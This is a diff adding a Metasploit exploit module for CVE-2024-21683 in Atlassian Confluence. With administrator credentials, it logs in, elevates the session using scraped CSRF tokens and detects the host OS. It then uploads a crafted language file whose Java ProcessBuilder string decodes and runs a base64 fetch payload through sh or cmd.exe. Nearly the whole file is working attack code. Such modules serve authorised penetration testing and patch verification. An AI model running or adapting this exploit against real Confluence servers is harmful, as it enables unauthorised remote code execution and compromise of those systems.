|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + prepend Msf::Exploit::Remote::AutoCheck |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Atlassian Confluence Administrator Code Macro Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence, |
| 20 | + tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating |
| 21 | + tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will |
| 22 | + authenticate, validate user privileges, extract the underlying host OS information, then trigger |
| 23 | + remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions |
| 24 | + up to 8.9.0. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => [ |
| 28 | + 'Ankita Sawlani', # Discovery |
| 29 | + 'Huong Kieu', # Public Analysis |
| 30 | + 'W01fh4cker', # PoC Exploit |
| 31 | + 'remmons-r7' # MSF Exploit |
| 32 | + ], |
| 33 | + 'References' => [ |
| 34 | + ['CVE', '2024-21683'], |
| 35 | + ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-95832'], |
| 36 | + ['URL', 'https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated'], |
| 37 | + ['URL', 'https://github.com/W01fh4cker/CVE-2024-21683-RCE'] |
| 38 | + ], |
| 39 | + 'DisclosureDate' => '2024-05-21', |
| 40 | + 'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default, `confluence` on Linux by default. |
| 41 | + 'Platform' => ['unix', 'linux', 'win'], |
| 42 | + 'Arch' => [ARCH_CMD], |
| 43 | + 'DefaultTarget' => 0, |
| 44 | + 'Targets' => [ [ 'Default', {} ] ], |
| 45 | + 'Notes' => { |
| 46 | + 'Stability' => [CRASH_SAFE], |
| 47 | + 'Reliability' => [REPEATABLE_SESSION], |
| 48 | + # The access log files will contain requests to the exploitable administrator dashboard endpoints. |
| 49 | + 'SideEffects' => [IOC_IN_LOGS] |
| 50 | + } |
| 51 | + ) |
| 52 | + ) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + # By default, Confluence serves an HTTP service on TCP port 8090. |
| 57 | + Opt::RPORT(8090), |
| 58 | + OptString.new('TARGETURI', [true, 'The URI path to Confluence', '/']), |
| 59 | + OptString.new('ADMIN_USER', [true, 'The Confluence administrator username', '']), |
| 60 | + OptString.new('ADMIN_PASS', [true, 'The Confluence administrator password', '']) |
| 61 | + ] |
| 62 | + ) |
| 63 | + end |
| 64 | + |
| 65 | + def check |
| 66 | + # Begin by retrieving the version string from the login page. |
| 67 | + version = get_confluence_version |
| 68 | + return CheckCode::Unknown('Failed to determine the Confluence version') unless version |
| 69 | + |
| 70 | + # Check the extracted version against all documented vulnerable versions. |
| 71 | + if version == Rex::Version.new('8.9.0') || |
| 72 | + version.between?(Rex::Version.new('8.8.0'), Rex::Version.new('8.8.1')) || |
| 73 | + version.between?(Rex::Version.new('8.7.0'), Rex::Version.new('8.7.2')) || |
| 74 | + version.between?(Rex::Version.new('8.6.0'), Rex::Version.new('8.6.2')) || |
| 75 | + version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.8')) || |
| 76 | + version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.5')) || |
| 77 | + version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.4')) || |
| 78 | + version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.3')) || |
| 79 | + version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.4')) || |
| 80 | + version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.4')) || |
| 81 | + version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('7.20.3')) || |
| 82 | + version.between?(Rex::Version.new('7.19.0'), Rex::Version.new('7.19.21')) || |
| 83 | + version.between?(Rex::Version.new('7.18.0'), Rex::Version.new('7.18.3')) || |
| 84 | + version.between?(Rex::Version.new('7.17.0'), Rex::Version.new('7.17.5')) || |
| 85 | + # According to Atlassian, all versions < 7.17 are vulnerable. |
| 86 | + version.between?(Rex::Version.new('0.0.0'), Rex::Version.new('7.16.999')) |
| 87 | + Exploit::CheckCode::Appears("Exploitable version of Confluence: #{version}") |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + def login(username, password) |
| 92 | + # Perform a POST request to login to Confluence with the provided credentials. |
| 93 | + send_request_cgi( |
| 94 | + 'method' => 'POST', |
| 95 | + 'uri' => normalize_uri(target_uri.path, 'dologin.action'), |
| 96 | + 'keep_cookies' => 'true', |
| 97 | + 'vars_post' => { |
| 98 | + 'os_username' => username, |
| 99 | + 'os_password' => password, |
| 100 | + 'os_destination' => '%2FXsuccessX' |
| 101 | + } |
| 102 | + ) |
| 103 | + end |
| 104 | + |
| 105 | + def elevate |
| 106 | + # Elevates the current administrator session. By default, administrator sessions will remain elevated for two minutes after this takes place. |
| 107 | + vprint_status('Secure Administrator Sessions enabled - elevating session') |
| 108 | + |
| 109 | + # Grab a CSRF token from the elevation page form. |
| 110 | + csrf_elevation = get_csrf('doauthenticate.action', 'elevation') |
| 111 | + |
| 112 | + # With the valid elevation token, escalate the current administrator session. |
| 113 | + res_elevate = send_request_cgi( |
| 114 | + 'method' => 'POST', |
| 115 | + 'uri' => normalize_uri(target_uri.path, 'doauthenticate.action'), |
| 116 | + 'keep_cookies' => 'true', |
| 117 | + 'vars_post' => { |
| 118 | + 'atl_token' => csrf_elevation, |
| 119 | + 'password' => datastore['ADMIN_PASS'], |
| 120 | + 'authenticate' => 'Confirm', |
| 121 | + 'destination' => '%2FXsuccessX' |
| 122 | + } |
| 123 | + ) |
| 124 | + |
| 125 | + # Connection failure, no response, or malformed response. |
| 126 | + fail_with(Failure::Unknown, 'Target did not respond as expected during privilege elevation') unless res_elevate |
| 127 | + |
| 128 | + # Confirm that the response indicates a successful elevation. |
| 129 | + fail_with(Failure::UnexpectedReply, 'The session elevation appears to have failed') unless res_elevate.code == 302 && res_elevate.headers['Location'].include?('XsuccessX') |
| 130 | + |
| 131 | + vprint_status('Administrator session has been elevated') |
| 132 | + end |
| 133 | + |
| 134 | + def get_csrf(page, operation) |
| 135 | + # Perform a GET request to the target page to grab a CSRF token. |
| 136 | + res_get_csrf = send_request_cgi( |
| 137 | + 'method' => 'GET', |
| 138 | + 'keep_cookies' => 'true', |
| 139 | + 'uri' => normalize_uri(target_uri.path, page) |
| 140 | + ) |
| 141 | + |
| 142 | + # Connection failure, no response, or malformed response. |
| 143 | + fail_with(Failure::Unknown, "Target did not respond as expected when fetching #{operation} CSRF token") unless res_get_csrf |
| 144 | + |
| 145 | + # If the response is not 200 and does not contain the string "atl_token", the target page has behaved unexpectedly. |
| 146 | + fail_with(Failure::UnexpectedReply, "Target returned a response that did not contain #{operation} CSRF token") unless res_get_csrf.code == 200 && res_get_csrf.body.include?('atl_token') |
| 147 | + |
| 148 | + # Response page should contain '<input type="hidden" name="atl_token" value="tokenhere">'. |
| 149 | + csrf_token = res_get_csrf.get_xml_document.xpath('//input[@name="atl_token"]').first&.values&.[](2) |
| 150 | + |
| 151 | + # Token should be 40 characters. |
| 152 | + fail_with(Failure::UnexpectedReply, "Target did not return the expected 40-character #{operation} CSRF token") unless csrf_token&.length == 40 |
| 153 | + |
| 154 | + vprint_status("Grabbed #{operation} CSRF token: #{csrf_token}") |
| 155 | + |
| 156 | + return csrf_token |
| 157 | + end |
| 158 | + |
| 159 | + def get_host_os |
| 160 | + # Elevated Confluence administrators can view system information, which will be used to confirm the target OS. |
| 161 | + res_sysinfo = send_request_cgi( |
| 162 | + 'method' => 'GET', |
| 163 | + 'keep_cookies' => 'true', |
| 164 | + 'uri' => normalize_uri(target_uri.path, 'admin', 'systeminfo.action') |
| 165 | + ) |
| 166 | + |
| 167 | + # Connection failure, no response, or malformed response. |
| 168 | + fail_with(Failure::Unknown, 'Target did not respond as expected while getting host OS') unless res_sysinfo |
| 169 | + |
| 170 | + # Confirm that the response is the expected system info page. |
| 171 | + fail_with(Failure::UnexpectedReply, 'The system information page failed to return the expected data') unless res_sysinfo.code == 200 && res_sysinfo.body.include?('operating.system') |
| 172 | + |
| 173 | + # Extract the OS string from the response DOM. |
| 174 | + os = res_sysinfo.get_xml_document.xpath('//span[@id="operating.system"]').first&.text |
| 175 | + vprint_status("Target returned the operating system string '#{os}'") |
| 176 | + |
| 177 | + # If the string begins with "win", assume the host is Windows. If it's anything else, assume it's something Unix-based. |
| 178 | + return os.downcase.start_with?('win') ? 'win' : 'nix' |
| 179 | + end |
| 180 | + |
| 181 | + def upload_payload(shell) |
| 182 | + # Grab a valid macro dashboard CSRF token. |
| 183 | + csrf_macro = get_csrf('/admin/plugins/newcode/configure.action', 'macro') |
| 184 | + |
| 185 | + # Initialize a multipart form. |
| 186 | + payload_form = Rex::MIME::Message.new |
| 187 | + |
| 188 | + # ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third. |
| 189 | + payload_string = "new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()" |
| 190 | + |
| 191 | + # Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string. |
| 192 | + payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name="atl_token"') |
| 193 | + payload_form.add_part(payload_string, 'text/plain', 'binary', "form-data; name=\"languageFile\"; filename=\"#{rand_text_hex(10)}\"") |
| 194 | + payload_form.add_part(rand_text_hex(10), 'text/plain', 'binary', 'form-data; name="newLanguageName"') |
| 195 | + |
| 196 | + vprint_status("Crafted ProcessBuilder payload string: #{payload_string}") |
| 197 | + vprint_status('Sending POST request to trigger code execution') |
| 198 | + |
| 199 | + # POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore. |
| 200 | + res_upload = send_request_cgi( |
| 201 | + 'method' => 'POST', |
| 202 | + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins', 'newcode', 'addlanguage.action'), |
| 203 | + 'keep_cookies' => 'true', |
| 204 | + 'ctype' => "multipart/form-data; boundary=#{payload_form.bound}", |
| 205 | + 'data' => payload_form.to_s |
| 206 | + ) |
| 207 | + |
| 208 | + # Connection failure, no response, or malformed response. |
| 209 | + fail_with(Failure::Unknown, 'Target did not respond as expected during code execution attempt') unless res_upload |
| 210 | + |
| 211 | + # If the response to the multipart request does not return a 200. |
| 212 | + fail_with(Failure::Unknown, 'The application returned a non-200 response during code execution attempt') unless res_upload.code == 200 |
| 213 | + end |
| 214 | + |
| 215 | + def exploit |
| 216 | + # Authenticate to Confluence. |
| 217 | + res_login = login(datastore['ADMIN_USER'], datastore['ADMIN_PASS']) |
| 218 | + |
| 219 | + # Connection failure, no response, or malformed response. |
| 220 | + fail_with(Failure::Unknown, 'Target did not respond as expected during authentication') unless res_login |
| 221 | + |
| 222 | + # If authentication does not result in a redirect with the provided "XsuccessX" 'Location' header value. |
| 223 | + fail_with(Failure::BadConfig, 'The target did not accept the provided credentials') unless res_login.code == 302 && res_login.headers['Location'].include?('XsuccessX') |
| 224 | + |
| 225 | + vprint_status('Successfully authenticated to Confluence') |
| 226 | + |
| 227 | + # Attempt to fetch a privileged page with the provided valid credentials to confirm the user is an administrator. |
| 228 | + res_check_admin = send_request_cgi( |
| 229 | + 'method' => 'GET', |
| 230 | + 'keep_cookies' => 'true', |
| 231 | + 'uri' => normalize_uri(target_uri.path, 'admin', 'console.action') |
| 232 | + ) |
| 233 | + |
| 234 | + # Connection failure, no response, or malformed response. |
| 235 | + fail_with(Failure::Unknown, 'Target did not respond as expected during privilege check') unless res_check_admin |
| 236 | + |
| 237 | + # If a 'Location' header is returned in the response, the current session doesn't have full privileges. |
| 238 | + if res_check_admin.headers['Location'] |
| 239 | + |
| 240 | + # Confluence will redirect to the login page if the current user does not have admin privileges, so check for that here. |
| 241 | + if res_check_admin.headers['Location'].include?('login.action') |
| 242 | + fail_with(Failure::BadConfig, 'The provided credentials are valid, but the user does not have administrative privileges') |
| 243 | + end |
| 244 | + |
| 245 | + vprint_status('The provided user is an administrator') |
| 246 | + |
| 247 | + # Check whether Secure Administrator Sessions feature (sudo-like elevation prompt) is enabled. This feature is default on newer versions. |
| 248 | + if res_check_admin.headers['Location'].include?('authenticate.action') |
| 249 | + elevate |
| 250 | + end |
| 251 | + |
| 252 | + # User is an administrator and Secure Administrator Sessions is disabled. |
| 253 | + else |
| 254 | + vprint_status('The provided user is an administrator') |
| 255 | + end |
| 256 | + |
| 257 | + # As an administrator, check the host OS for selection between sh/cmd.exe in payload |
| 258 | + shell = get_host_os == 'win' ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"' |
| 259 | + |
| 260 | + # Upload a text file containing a payload to be evaluated by the script engine |
| 261 | + upload_payload(shell) |
| 262 | + end |
| 263 | + |
| 264 | +end |
0 commit comments